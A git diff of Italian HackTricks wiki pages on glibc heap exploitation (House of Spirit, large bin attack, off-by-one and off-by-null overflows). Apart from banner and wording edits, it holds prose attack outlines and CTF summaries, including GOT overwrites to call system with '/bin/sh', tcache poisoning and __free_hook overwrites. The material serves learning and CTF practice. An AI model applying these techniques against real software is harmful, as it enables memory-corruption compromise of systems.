<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Casa dello Spirito # Casa dello Spirito
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -69,7 +70,7 @@ return 0;
### Obiettivo ### Obiettivo
* Essere in grado di aggiungere un indirizzo al tcache / fast bin in modo che in seguito sia possibile allocarlo * Essere in grado di aggiungere un indirizzo nel tcache / fast bin in modo che in seguito sia possibile allocarlo
### Requisiti ### Requisiti
@ -77,7 +78,7 @@ return 0;
### Attacco ### Attacco
* Creare chunk falsi che eludono i controlli di sicurezza: sarà necessario creare 2 chunk falsi che indicano essenzialmente nelle posizioni corrette le dimensioni corrette * Creare chunk falsi che eludono i controlli di sicurezza: sarà necessario creare 2 chunk falsi indicando essenzialmente nelle posizioni corrette le dimensioni corrette
* Gestire in qualche modo la liberazione del primo chunk falso in modo che vada nel bin fast o tcache e quindi allocarlo per sovrascrivere quell'indirizzo * Gestire in qualche modo la liberazione del primo chunk falso in modo che vada nel bin fast o tcache e quindi allocarlo per sovrascrivere quell'indirizzo
**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **è ottimo per comprendere l'attacco.** Anche questo schema dal codice lo riassume abbastanza bene: **Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **è ottimo per comprendere l'attacco.** Anche questo schema dal codice lo riassume abbastanza bene:
@ -112,7 +113,7 @@ Nota che è necessario creare il secondo chunk per eludere alcuni controlli di c
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc infoleak**: Attraverso un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di ottenere un indirizzo libc tramite l'azione di lettura del CTF * **Libc infoleak**: Attraverso un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di ottenere un indirizzo libc tramite l'azione di lettura del CTF
* **House of Spirit**: Sfruttando un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, quindi sfruttando un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine sfruttando un overflow è possibile cambiare un puntatore che verrà liberato in modo che il nostro primo chunk falso venga liberato. Quindi possiamo allocarlo e al suo interno ci sarà l'indirizzo in cui è memorizzato il "messaggio". Successivamente, è possibile far puntare questo all'ingresso di `scanf` all'interno della tabella GOT, in modo da poterlo sovrascrivere con l'indirizzo a system.\ * **House of Spirit**: Sfruttando un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, quindi sfruttando un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine sfruttando un overflow è possibile cambiare un puntatore che verrà liberato in modo che il nostro primo chunk falso venga liberato. Quindi, possiamo allocarlo e al suo interno ci sarà l'indirizzo in cui è memorizzato il "messaggio". Successivamente, è possibile far puntare questo all'ingresso di `scanf` all'interno della tabella GOT, in modo da poterlo sovrascrivere con l'indirizzo a system.\
La prossima volta che viene chiamato `scanf`, possiamo inviare l'input `"/bin/sh"` e ottenere una shell. La prossima volta che viene chiamato `scanf`, possiamo inviare l'input `"/bin/sh"` e ottenere una shell.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) * [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
@ -123,16 +124,17 @@ La prossima volta che viene chiamato `scanf`, possiamo inviare l'input `"/bin/sh
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Attacco Large Bin # Attacco Large Bin
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -24,7 +25,7 @@ Per ulteriori informazioni su cosa sia un large bin, controlla questa pagina:
È possibile trovare un ottimo esempio in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c). È possibile trovare un ottimo esempio in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
Fondamentalmente qui puoi vedere come, nell'ultima "corrente" versione di glibc (2.35), non viene controllato: **`P->bk_nextsize`** permettendo di modificare un indirizzo arbitrario con il valore di un chunk di large bin se vengono soddisfatte determinate condizioni. Fondamentalmente qui puoi vedere come, nella più recente versione "corrente" di glibc (2.35), non viene controllato: **`P->bk_nextsize`** permettendo di modificare un indirizzo arbitrario con il valore di un chunk di large bin se vengono soddisfatte determinate condizioni.
In quell'esempio puoi trovare le seguenti condizioni: In quell'esempio puoi trovare le seguenti condizioni:
@ -38,7 +39,7 @@ In quell'esempio puoi trovare le seguenti condizioni:
* Quindi, viene allocato un chunk più grande rispetto al chunk 2, quindi il chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2 * Quindi, viene allocato un chunk più grande rispetto al chunk 2, quindi il chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2
{% hint style="success" %} {% hint style="success" %}
Ci sono altri scenari potenziali, l'importante è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che verrà scritto l'indirizzo del chunk più piccolo. Ci sono altri scenari potenziali, l'importante è aggiungere al large bin un chunk che sia **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che verrà scritto l'indirizzo del chunk più piccolo.
{% endhint %} {% endhint %}
Questo è il codice rilevante da malloc. Sono stati aggiunti commenti per capire meglio come è stata sovrascritta l'indirizzo: Questo è il codice rilevante da malloc. Sono stati aggiunti commenti per capire meglio come è stata sovrascritta l'indirizzo:
@ -70,16 +71,17 @@ Puoi trovare un'altra ottima spiegazione di questo attacco in [**guyinatuxedo**]
* La primitiva di scrittura è più complessa, perché `global_max_fast` è inutile qui. * La primitiva di scrittura è più complessa, perché `global_max_fast` è inutile qui.
* FSOP è necessario per completare lo sfruttamento. * FSOP è necessario per completare lo sfruttamento.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Sfioramento di overflow di uno # Sfioramento di un byte in eccesso
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di base ## Informazioni di base
Avere solo accesso a un overflow di 1B consente a un attaccante di modificare il campo `size` del chunk successivo. Ciò consente di manipolare quali chunk vengono effettivamente liberati, generando potenzialmente un chunk che contiene un altro chunk legittimo. L'exploit è simile a [doppia liberazione](double-free.md) o sovrapposizione di chunk. Avere solo accesso a un overflow di 1 byte consente a un attaccante di modificare il campo `size` del chunk successivo. Ciò consente di manipolare quali chunk vengono effettivamente liberati, generando potenzialmente un chunk che contiene un altro chunk legittimo. L'exploit è simile al [double free](double-free.md) o al sovrapporsi dei chunk.
Ci sono 2 tipi di vulnerabilità di off by one: Ci sono 2 tipi di vulnerabilità off by one:
* Byte arbitrario: Questo tipo consente di sovrascrivere quel byte con qualsiasi valore * Byte arbitrario: Questo tipo consente di sovrascrivere quel byte con qualsiasi valore
* Byte nullo (off-by-null): Questo tipo consente di sovrascrivere quel byte solo con 0x00 * Byte nullo (off-by-null): Questo tipo consente di sovrascrivere quel byte solo con 0x00
* Un esempio comune di questa vulnerabilità può essere visto nel seguente codice dove il comportamento di `strlen` e `strcpy` è inconsistente, il che consente di impostare un byte 0x00 all'inizio del chunk successivo. * Un esempio comune di questa vulnerabilità può essere visto nel seguente codice dove il comportamento di `strlen` e `strcpy` è inconsistente, il che consente di impostare un byte 0x00 all'inizio del chunk successivo.
* Questo può essere sfruttato con il [House of Einherjar](house-of-einherjar.md). * Questo può essere sfruttato con il [House of Einherjar](house-of-einherjar.md).
* Se si utilizza Tcache, questo può essere sfruttato per una situazione di [doppia liberazione](double-free.md). * Se si utilizza Tcache, questo può essere sfruttato per una situazione di [double free](double-free.md).
<details> <details>
@ -47,7 +48,7 @@ return 0;
``` ```
</details> </details>
Tra gli altri controlli, ora ogni volta che un chunk viene liberato, la dimensione precedente viene confrontata con la dimensione configurata nel chunk dei metadati, rendendo questo attacco piuttosto complesso dalla versione 2.28. Tra altri controlli, ora ogni volta che un chunk viene liberato, la dimensione precedente viene confrontata con la dimensione configurata nel chunk dei metadati, rendendo questo attacco piuttosto complesso dalla versione 2.28.
### Esempio di codice: ### Esempio di codice:
@ -61,20 +62,20 @@ Tra gli altri controlli, ora ogni volta che un chunk viene liberato, la dimensio
### Requisiti ### Requisiti
* Overflow di uno in meno per modificare le informazioni sui metadati della dimensione * Overflow di uno a sinistra per modificare le informazioni sui metadati della dimensione
### Attacco generale di uno in meno ### Attacco generale off-by-one
* Allocare tre chunk `A`, `B` e `C` (diciamo di dimensioni 0x20), e un altro per evitare la consolidazione con il chunk superiore. * Allocare tre chunk `A`, `B` e `C` (diciamo di dimensioni 0x20), e un altro per evitare la consolidazione con il chunk superiore.
* Liberare `C` (inserito nella lista di chunk liberi Tcache di 0x20). * Liberare `C` (inserito nella lista di chunk liberi Tcache di 0x20).
* Utilizzare il chunk `A` per fare overflow su `B`. Abusare di uno in meno per modificare il campo `size` di `B` da 0x21 a 0x41. * Utilizzare il chunk `A` per fare overflow su `B`. Abusare dell'off-by-one per modificare il campo `size` di `B` da 0x21 a 0x41.
* Ora abbiamo `B` che contiene il chunk libero `C` * Ora abbiamo `B` che contiene il chunk libero `C`
* Liberare `B` e allocare un chunk di 0x40 (verrà posizionato qui di nuovo) * Liberare `B` e allocare un chunk di 0x40 (verrà posizionato qui di nuovo)
* Possiamo modificare il puntatore `fd` da `C`, che è ancora libero (Tcache poisoning) * Possiamo modificare il puntatore `fd` da `C`, che è ancora libero (Tcache poisoning)
### Attacco di uno nullo ### Attacco off-by-null
* Vengono riservati 3 chunk di memoria (a, b, c) uno dopo l'altro. Poi quello centrale viene liberato. Il primo contiene una vulnerabilità di overflow di uno in meno e l'attaccante ne abusa con un 0x00 (se il byte precedente fosse 0x10 farebbe sì che il chunk centrale indichi che è più piccolo di 0x10 di quanto non sia realmente). * Vengono riservati 3 chunk di memoria (a, b, c) uno dopo l'altro. Poi quello centrale viene liberato. Il primo contiene una vulnerabilità di overflow di uno a sinistra e l'attaccante ne abusa con un 0x00 (se il byte precedente fosse 0x10 farebbe sì che il chunk centrale indichi che è più piccolo di 0x10 di quanto non sia realmente).
* Poi, vengono allocati altri 2 chunk più piccoli nel chunk liberato al centro (b), tuttavia, poiché `b + b->size` non aggiorna mai il chunk c perché l'indirizzo puntato è più piccolo di quanto dovrebbe. * Poi, vengono allocati altri 2 chunk più piccoli nel chunk liberato al centro (b), tuttavia, poiché `b + b->size` non aggiorna mai il chunk c perché l'indirizzo puntato è più piccolo di quanto dovrebbe.
* Poi, vengono liberati b1 e c. Poiché `c - c->prev_size` punta ancora a b (ora b1), entrambi vengono consolidati in un unico chunk. Tuttavia, b2 è ancora all'interno tra b1 e c. * Poi, vengono liberati b1 e c. Poiché `c - c->prev_size` punta ancora a b (ora b1), entrambi vengono consolidati in un unico chunk. Tuttavia, b2 è ancora all'interno tra b1 e c.
* Infine, viene eseguito un nuovo malloc che reclama questa area di memoria che in realtà conterrà b2, consentendo al proprietario del nuovo malloc di controllare il contenuto di b2. * Infine, viene eseguito un nuovo malloc che reclama questa area di memoria che in realtà conterrà b2, consentendo al proprietario del nuovo malloc di controllare il contenuto di b2.
@ -88,14 +89,15 @@ Questa immagine spiega perfettamente l'attacco:
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks) * [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) * [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
* Off-by-one a causa di `strlen` che considera il campo `size` del chunk successivo. * Off-by-one a causa di `strlen` che considera il campo `size` del chunk successivo.
* Viene utilizzato Tcache, quindi attacchi generali di uno in meno funzionano per ottenere un primitivo di scrittura arbitraria con Tcache poisoning. * Viene utilizzato Tcache, quindi funzionano gli attacchi generici off-by-one per ottenere un primitivo di scrittura arbitraria con Tcache poisoning.
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks) * [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* È possibile abusare di un uno in meno per ottenere un leak di un indirizzo dalla heap perché il byte 0x00 alla fine di una stringa viene sovrascritto dal campo successivo. * È possibile abusare di un off-by-one per ottenere un leak di un indirizzo dalla heap perché il byte 0x00 alla fine di una stringa viene sovrascritto dal campo successivo.
* La scrittura arbitraria viene ottenuta abusando del write off by one per far puntare il puntatore in un altro posto dove verrà costruita una struttura falsa con puntatori falsi. Quindi, è possibile seguire il puntatore di questa struttura per ottenere una scrittura arbitraria. * La scrittura arbitraria viene ottenuta abusando dell'off-by-one write per far puntare il puntatore in un altro posto dove verrà costruita una struttura falsa con puntatori falsi. Quindi, è possibile seguire il puntatore di questa struttura per ottenere una scrittura arbitraria.
* L'indirizzo libc viene leakato perché se la heap viene estesa utilizzando mmap, la memoria allocata da mmap ha un offset fisso da libc. * L'indirizzo della libc viene leakato perché se la heap viene estesa utilizzando mmap, la memoria allocata da mmap ha un offset fisso dalla libc.
* Infine, la scrittura arbitraria viene abusata per scrivere nell'indirizzo di \_\_free\_hook con un one gadget. * Infine, la scrittura arbitraria viene abusata per scrivere nell'indirizzo di \_\_free\_hook con un one gadget.
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb) * [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
* C'è una vulnerabilità NULL off-by-one nella funzione `getline` che legge le righe di input dell'utente. Questa funzione viene utilizzata per leggere la "chiave" del contenuto e non il contenuto. * C'è una vulnerabilità NULL off-by-one nella funzione `getline` che legge le righe di input dell'utente. Questa funzione viene utilizzata per leggere la "chiave" del contenuto e non il contenuto.
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub. * **Condividi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
</details> </details>
{% endhint %}

View file

@ -1,33 +1,49 @@
# Sovrascrittura di un chunk liberato # Sovrascrittura di un chunk liberato
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
